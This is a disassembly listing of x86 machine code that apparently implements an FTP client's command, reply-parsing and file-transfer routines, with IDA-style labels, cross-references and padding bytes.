add esp, 4
test eax, eax
jz short loc_42F1DA
mov edx, [ebp+8]
push 0
push esi
push edi
push edx
call sub_4381F6
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42F1E1
xor esi, esi
loc_42F179: ; CODE XREF: sub_42F110+41j
mov byte ptr [edi+esi], 0Dh
inc esi
loc_42F17E: ; CODE XREF: sub_42F110+35j
; sub_42F110+39j
cmp esi, 2000h
jnz short loc_42F1AC
push ebp
call sub_42E170
add esp, 4
test eax, eax
jz short loc_42F1DA
mov eax, [ebp+8]
push 0
push esi
push edi
push eax
call sub_4381F6
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42F201
xor esi, esi
loc_42F1AC: ; CODE XREF: sub_42F110+74j
mov ecx, [esp+10h+arg_0]
inc esi
mov al, [ebx+ecx]
mov ecx, [esp+10h+arg_4]
mov [edi+esi-1], al
inc ebx
cmp ebx, ecx
jl loc_42F13D
test esi, esi
jz loc_42F254
push ebp
call sub_42E170
add esp, 4
test eax, eax
jnz short loc_42F221
loc_42F1DA: ; CODE XREF: sub_42F110+4Ej
; sub_42F110+81j
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F1E1: ; CODE XREF: sub_42F110+65j
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
push esi
push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n"
call near ptr 77C4186Ah
nop
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F201: ; CODE XREF: sub_42F110+98j
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
push esi
push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F221: ; CODE XREF: sub_42F110+C8j
mov ecx, [ebp+8]
push 0
push esi
push edi
push ecx
call sub_4381F6
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 2074FE3Bh, 82E890h, 108B777Fh, 0BC685752h, 90004475h
dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------
loc_42F254: ; CODE XREF: sub_42F110+27j
; sub_42F110+B7j
mov eax, [esp+10h+arg_4]
pop edi
pop esi
pop ebp
pop ebx
retn
sub_42F110 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F2C0 proc near ; CODE XREF: sub_401BEFj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+18h]
sub eax, 0
jz short loc_42F33B
dec eax
jz short loc_42F2F0
dec eax
jz short loc_42F2DC
loc_42F2D4: ; CODE XREF: sub_42F2C0+64j
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F2DC: ; CODE XREF: sub_42F2C0+12j
mov eax, [esi+14h]
test eax, eax
jz short loc_42F2F0
push esi
push 0
push 0
call sub_42F110
add esp, 0Ch
loc_42F2F0: ; CODE XREF: sub_42F2C0+Fj
; sub_42F2C0+21j
mov eax, [esi+14h]
push ebx
mov ebx, dword_511AD0
test eax, eax
jz short loc_42F304
push eax
call ebx ; free
add esp, 4
loc_42F304: ; CODE XREF: sub_42F2C0+3Cj
mov eax, [esi+8]
push 2
push eax
call sub_438292
; ---------------------------------------------------------------------------
mov ecx, [esi+8]
push ecx
call sub_4381FC
; ---------------------------------------------------------------------------
mov edi, [esi+1Ch]
push esi
call ebx ; free
add esp, 4
test edi, edi
pop ebx
jz short loc_42F2D4
push edi
push 32h
mov dword ptr [edi+20h], 0
call sub_42DE00
add esp, 8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F33B: ; CODE XREF: sub_42F2C0+Cj
mov eax, [esi+20h]
test eax, eax
jz short loc_42F352
push esi
mov dword ptr [esi+1Ch], 0
call sub_401BEF
add esp, 4
loc_42F352: ; CODE XREF: sub_42F2C0+80j
mov edx, [esi+8]
push edx
call sub_4381FC
sub_42F2C0 endp
; ---------------------------------------------------------------------------
db 56h
dd 7FCEBAE8h, 0C4839077h, 5FC03304h, 9090C35Eh, 90909090h
dd 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F3A0: ; CODE XREF: ___:00401CF8j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42F3C9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F3C9: ; CODE XREF: ___:0042F3C0j
push edx
lea eax, [esp+4]
push offset aSiteS ; "SITE %s"
push eax
call near ptr 77C3F931h
nop
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F420: ; CODE XREF: ___:004016CCj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset aSyst ; "SYST"
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42F441
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F441: ; CODE XREF: ___:0042F43Cj
mov eax, [esp+10h]
lea ecx, [edi+48h]
lea edx, [eax-1]
test edx, edx
jz short loc_42F45C
loc_42F44F: ; CODE XREF: ___:0042F45Aj
mov al, [ecx]
cmp al, 20h
jz short loc_42F45C
mov [esi], al
inc esi
inc ecx
dec edx
jnz short loc_42F44F
loc_42F45C: ; CODE XREF: ___:0042F44Dj
; ___:0042F453j
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F490: ; CODE XREF: ___:00402270j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F4B9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F4B9: ; CODE XREF: ___:0042F4B0j
push edx
lea eax, [esp+4]
push offset aMkdS ; "MKD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F510: ; CODE XREF: ___:0040227Fj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F539
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F539: ; CODE XREF: ___:0042F530j
push edx
lea eax, [esp+4]
push offset aCwdS ; "CWD %s"
push eax
call near ptr 77C3F931h
nop
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F590: ; CODE XREF: ___:0040178Aj
mov eax, [esp+4]
push eax
push 32h
push offset aCdup ; "CDUP"
call sub_42E490
add esp, 0Ch
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5C0: ; CODE XREF: ___:00402220j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F5E9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F5E9: ; CODE XREF: ___:0042F5E0j
push edx
lea eax, [esp+4]
push offset aRmdS ; "RMD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F640: ; CODE XREF: ___:00401677j
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset off_447680
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42F661
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F661: ; CODE XREF: ___:0042F65Cj
add edi, 44h
push 22h
push edi
nop
call near ptr 77C47660h
add esp, 8
test eax, eax
jnz short loc_42F677
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F677: ; CODE XREF: ___:0042F672j
mov ecx, [esp+10h]
inc eax
lea edx, [ecx-1]
test edx, edx
jz short loc_42F695
loc_42F683: ; CODE XREF: ___:0042F693j
mov cl, [eax]
test cl, cl
jz short loc_42F695
cmp cl, 22h
jz short loc_42F695
mov [esi], cl
inc esi
inc eax
dec edx
jnz short loc_42F683
loc_42F695: ; CODE XREF: ___:0042F681j
; ___:0042F687j ...
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F6C0: ; CODE XREF: ___:00401127j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 1
push eax
push ecx
push edx
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F6F0 proc near ; CODE XREF: ___:0042F6D3p
; ___:0042F953p ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push ecx
mov eax, [esp+4+arg_0]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov edi, [esp+14h+arg_10]
cmp eax, ebp
mov [esp+14h+var_4], 1
jz short loc_42F77A
mov esi, [esp+14h+arg_C]
mov cx, word_4476C0
cmp esi, 4
mov word ptr [esp+14h+arg_10], cx
mov word ptr [esp+14h+arg_10+2], bp
jnz short loc_42F72A
mov byte ptr [esp+14h+arg_10], 72h
loc_42F72A: ; CODE XREF: sub_42F6F0+33j
cmp edi, 49h
jnz short loc_42F734
mov byte ptr [esp+14h+arg_10+1], 62h
loc_42F734: ; CODE XREF: sub_42F6F0+3Dj
lea edx, [esp+14h+arg_10]
push edx
push eax
call near ptr 77C3F010h
nop
mov ebx, eax
add esp, 8
cmp ebx, ebp
jnz short loc_42F794
push 100h
call near ptr 77C1F2BCh
nop
mov eax, [eax]
push eax
nop
call near ptr 77C371FAh
mov ecx, [esp+1Ch+arg_8]
add esp, 4
add ecx, 44h
push eax
push ecx
call near ptr 77C47A90h
nop
add esp, 0Ch
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F77A: ; CODE XREF: sub_42F6F0+19j
mov esi, [esp+14h+arg_C]
cmp esi, 4
jnz short loc_42F78B
mov ebx, dword_511A90
jmp short loc_42F794
; ---------------------------------------------------------------------------
loc_42F78B: ; CODE XREF: sub_42F6F0+91j
mov edx, dword_511A90
lea ebx, [edx+20h]
loc_42F794: ; CODE XREF: sub_42F6F0+57j
; sub_42F6F0+99j
mov ecx, [esp+14h+arg_8]
mov edx, [esp+14h+arg_4]
lea eax, [esp+14h+arg_C]
push eax
push ecx
push edi
push esi
push edx
call sub_401F73
add esp, 14h
test eax, eax
jnz short loc_42F7B7
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F7B7: ; CODE XREF: sub_42F6F0+BFj
push 2000h
call near ptr 77C2C407h
nop
add esp, 4
cmp esi, 4
mov edi, eax
jnz short loc_42F82D
mov ebp, dword_511AB0
push ebx
push 2000h
push 1
push edi
call ebp ; fread
mov esi, eax
add esp, 10h
test esi, esi
jle loc_42F883
loc_42F7EA: ; CODE XREF: sub_42F6F0+11Fj
mov eax, [esp+14h+arg_C]
push eax
push esi
push edi
call sub_402216
add esp, 0Ch
cmp eax, esi
jl short loc_42F813
push ebx
push 2000h
push 1
push edi
call ebp ; fread
mov esi, eax
add esp, 10h
test esi, esi
jg short loc_42F7EA
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F813: ; CODE XREF: sub_42F6F0+10Bj
push eax
push esi
push offset aShortWritePass ; "short write: passed %d, wrote %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
mov [esp+14h+var_4], 0
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F82D: ; CODE XREF: sub_42F6F0+DAj
mov ecx, [esp+14h+arg_C]
push ecx
push 2000h
push edi
call sub_40226B
add esp, 0Ch
cmp eax, ebp
jle short loc_42F883
mov esi, dword_511AA0
loc_42F84A: ; CODE XREF: sub_42F6F0+17Dj
push ebx
push eax
push 1
push edi
call esi ; fwrite
add esp, 10h
test eax, eax
jbe short loc_42F871
mov edx, [esp+14h+arg_C]
push edx
push 2000h
push edi
call sub_40226B
add esp, 0Ch
cmp eax, ebp
jg short loc_42F84A
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F871: ; CODE XREF: sub_42F6F0+166j
push offset aLocalfileWrite ; "localfile write"
nop
call near ptr 77C36DF2h
add esp, 4
mov [esp+14h+var_4], ebp
loc_42F883: ; CODE XREF: sub_42F6F0+F4j
; sub_42F6F0+121j ...
push edi
nop
call near ptr 77C2C21Bh
push ebx
nop
call near ptr 77C3EEF6h
mov eax, [esp+1Ch+arg_0]
add esp, 8
test eax, eax
jz short loc_42F8A6
push ebx
nop
call near ptr 77C40AB1h
add esp, 4
loc_42F8A6: ; CODE XREF: sub_42F6F0+1AAj
mov eax, [esp+14h+arg_C]
push eax
call sub_401BEF
mov eax, [esp+18h+var_4]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42F6F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F940: ; CODE XREF: ___:004016A9j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 2
push eax
push ecx
push edx
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F970: ; CODE XREF: ___:00401D43j
sub esp, 108h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
mov ebx, [esp+110h]
push ebp
push esi
push edi
mov edi, ebx
repne scasb
not ecx
add ecx, 6
mov ebp, 1
cmp ecx, 100h
jbe short loc_42F9A7
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42F9A7: ; CODE XREF: ___:0042F99Aj
movsx eax, byte ptr [esp+124h]
mov edi, dword_511A6C
push eax
lea ecx, [esp+1Ch]
push offset dword_4474C8
push ecx
call edi ; sprintf
mov esi, [esp+134h]
lea edx, [esp+24h]
push esi
push 32h
push edx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42F9E8
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42F9E8: ; CODE XREF: ___:0042F9DBj
push ebx
lea eax, [esp+1Ch]
push offset dword_4476CC
push eax
call edi ; sprintf
push esi
lea ecx, [esp+28h]
push 32h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jz short loc_42FA44
lea edx, [esp+10h]
lea eax, [esp+14h]
push edx
push eax
add esi, 44h
push offset dword_4476C4
push esi
nop
call near ptr 77C41B72h
add esp, 10h
cmp eax, 2
jnz short loc_42FA44
mov ecx, [esp+120h]
mov edx, [esp+10h]
pop edi
mov eax, ebp
pop esi
pop ebp
mov [ecx], edx
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42FA44: ; CODE XREF: ___:0042FA07j
; ___:0042FA28j
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FAA0: ; CODE XREF: ___:004013C0j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push edi
mov edi, edx
mov ebx, 1
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
jbe short loc_42FAD0
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FAD0: ; CODE XREF: ___:0042FAC5j
push esi
push edx
lea eax, [esp+10h]
push offset dword_4476D8
push eax
nop
call near ptr 77C3F931h
mov esi, [esp+128h]
lea ecx, [esp+18h]
push esi
push 32h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42FB0B
xor ebx, ebx
pop esi
mov eax, ebx
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FB0B: ; CODE XREF: ___:0042FAFBj
mov edx, [esp+118h]
mov eax, [esp+114h]
add esi, 48h
push edx
push esi
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
mov eax, ebx
pop esi
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FB70 proc near ; CODE XREF: sub_4016B3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_C = dword ptr 10h
movsx eax, [esp+arg_8]
mov ecx, [esp+arg_C]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 3
push ecx
push edx
push eax
call sub_42F6F0
add esp, 14h
retn
sub_42FB70 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FBA0: ; CODE XREF: ___:004016D1j
movsx eax, byte ptr [esp+0Ch]
mov ecx, [esp+10h]
mov edx, [esp+8]
push eax
mov eax, [esp+8]
push 4
push ecx
push edx
push eax
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FBD0: ; CODE XREF: ___:0040149Cj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42FC69
mov ebx, [esp+114h]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42FC69
mov esi, dword_511A6C
push edx
lea eax, [esp+10h]
push offset dword_4476F0
push eax
call esi ; sprintf
mov edi, [esp+124h]
lea ecx, [esp+18h]
push edi
push 33h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jz short loc_42FC69
push ebx
lea edx, [esp+10h]
push offset dword_4476E4
push edx
call esi ; sprintf
push edi
lea eax, [esp+1Ch]
push 32h
push eax
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FC69: ; CODE XREF: ___:0042FBF1j
; ___:0042FC0Cj ...
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FCB0: ; CODE XREF: ___:00401C7Bj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42FCD9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FCD9: ; CODE XREF: ___:0042FCD0j
push edx
lea eax, [esp+4]
push offset dword_4476FC
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FD30 proc near ; CODE XREF: sub_401D66j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+18h]
test eax, eax
jnz short loc_42FD69
push edi
push esi
push 32h
push offset aQuit ; "QUIT"
call sub_42E490
mov eax, [esi+8]
add esp, 0Ch
push eax
call sub_4381FC
; ---------------------------------------------------------------------------
mov ecx, [esi+14h]
mov edi, dword_511AD0
push ecx
call edi ; free
push esi
call edi ; free
add esp, 8
pop edi
loc_42FD69: ; CODE XREF: sub_42FD30+Aj
pop esi
retn
sub_42FD30 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FD80: ; CODE XREF: ___:004021C1j
push edi
mov edi, [esp+8]
test edi, edi
jnz short loc_42FD90
mov eax, 16h
pop edi
retn
; ---------------------------------------------------------------------------
loc_42FD90: ; CODE XREF: ___:0042FD87j
push 1Ch
nop
call near ptr 77C2C407h
add esp, 4
test eax, eax
jnz short loc_42FDA6
mov eax, 0Ch
pop edi
retn
; ---------------------------------------------------------------------------
loc_42FDA6: ; CODE XREF: ___:0042FD9Dj
mov ecx, 1
mov dword ptr [eax+8], 0
mov dword ptr [eax+0Ch], 0
mov dword ptr [eax+10h], 0
mov [eax+14h], ecx
mov [eax+18h], ecx
mov dword ptr [eax], 0C4C0FFEEh
mov [edi], eax
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FE00: ; CODE XREF: ___:0040151Ej
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FE19
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FE19: ; CODE XREF: ___:0042FE10j
mov eax, [esi]
mov dword ptr [eax], 0
mov ecx, [esi]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FE50: ; CODE XREF: ___:004012D5j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
mov eax, [esp+0Ch]
jnz short loc_42FE75
test eax, eax
jz short loc_42FE75
mov ecx, [esi]
pop esi
mov edx, [ecx+0Ch]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42FE75: ; CODE XREF: ___:0042FE64j
; ___:0042FE68j
mov dword ptr [eax], 1
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FEA0: ; CODE XREF: ___:004013ACj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FEB9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FEB9: ; CODE XREF: ___:0042FEB0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42FECD
cmp eax, 1
jz short loc_42FECD
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FECD: ; CODE XREF: ___:0042FEBFj
; ___:0042FEC4j
mov ecx, [esi]
pop esi
mov [ecx+0Ch], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FEF0: ; CODE XREF: ___:00401519j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF10: ; CODE XREF: ___:00401834j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF30: ; CODE XREF: ___:00401348j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FF49
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FF49: ; CODE XREF: ___:0042FF40j
mov eax, [esi]
mov edx, [esp+0Ch]
pop esi
mov ecx, [eax+8]
xor eax, eax
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF70: ; CODE XREF: ___:00402207j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FF89
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FF89: ; CODE XREF: ___:0042FF80j
mov eax, [esi]
mov ecx, [esp+0Ch]
pop esi
mov [eax+8], ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FFB0: ; CODE XREF: ___:004019B0j
mov eax, [esp+4]
mov ecx, [eax]
mov eax, [esp+8]
mov edx, [ecx+18h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FFE0: ; CODE XREF: ___:004019ABj
mov eax, [esp+8]
sub eax, 0
jz short loc_430002
dec eax
jz short loc_42FFF2
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42FFF2: ; CODE XREF: ___:0042FFEAj
mov eax, [esp+4]
mov ecx, [eax]
xor eax, eax
mov dword ptr [ecx+18h], 1
retn
; ---------------------------------------------------------------------------
loc_430002: ; CODE XREF: ___:0042FFE7j
mov eax, 30h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430020: ; CODE XREF: ___:00401C1Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
test ebx, ebx
jz loc_4300BB
mov edi, [esp+18h]
test edi, edi
jz loc_4300BB
push 18h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_4300B2
mov eax, [esp+14h] ; DATA XREF: ___:off_444E98o
test eax, eax
jz short loc_430060
mov eax, [eax]
test eax, eax
jz short loc_430060
mov eax, [eax]
jmp short loc_430062
; ---------------------------------------------------------------------------
loc_430060: ; CODE XREF: ___:00430054j
; ___:0043005Aj
xor eax, eax
loc_430062: ; CODE XREF: ___:0043005Ej
mov [esi+4], edi
mov [esi], edi
lea edi, [esi+10h]
push 0
push eax
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+8], 0
call sub_401C8A
add esp, 0Ch
test eax, eax
jnz short loc_4300A8
push eax
mov eax, [esi+0Ch]
lea ecx, [esi+14h]
push eax
push ecx
call sub_401C8A
add esp, 0Ch
test eax, eax
jnz short loc_43009F
mov [ebx], esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43009F: ; CODE XREF: ___:00430097j
push edi
call sub_401690
add esp, 4
loc_4300A8: ; CODE XREF: ___:00430082j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4300B2: ; CODE XREF: ___:0043004Cj
pop edi
pop esi
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4300BB: ; CODE XREF: ___:00430029j
; ___:00430035j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430100: ; CODE XREF: ___:0040220Cj
push ebx
push ebp
mov ebp, [esp+0Ch]
push esi
test ebp, ebp
push edi
jz short loc_430168
mov esi, [ebp+0]
test esi, esi
jz short loc_430168
lea ebx, [esi+10h]
mov dword ptr [ebp+0], 0
push ebx
call sub_401690
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43015E
lea eax, [esi+14h]
push eax
call sub_401690
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43014F
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43014F: ; CODE XREF: ___:0043013Cj
mov ecx, [esi+0Ch]
push 0
push ecx
push ebx
call sub_401C8A
add esp, 0Ch
loc_43015E: ; CODE XREF: ___:0043012Aj
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430168: ; CODE XREF: ___:0043010Aj
; ___:00430111j
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4301A0: ; CODE XREF: ___:004017A3j
mov eax, [esp+4]
push esi
test eax, eax
jz loc_430254
mov esi, [eax]
test esi, esi
jz loc_430254
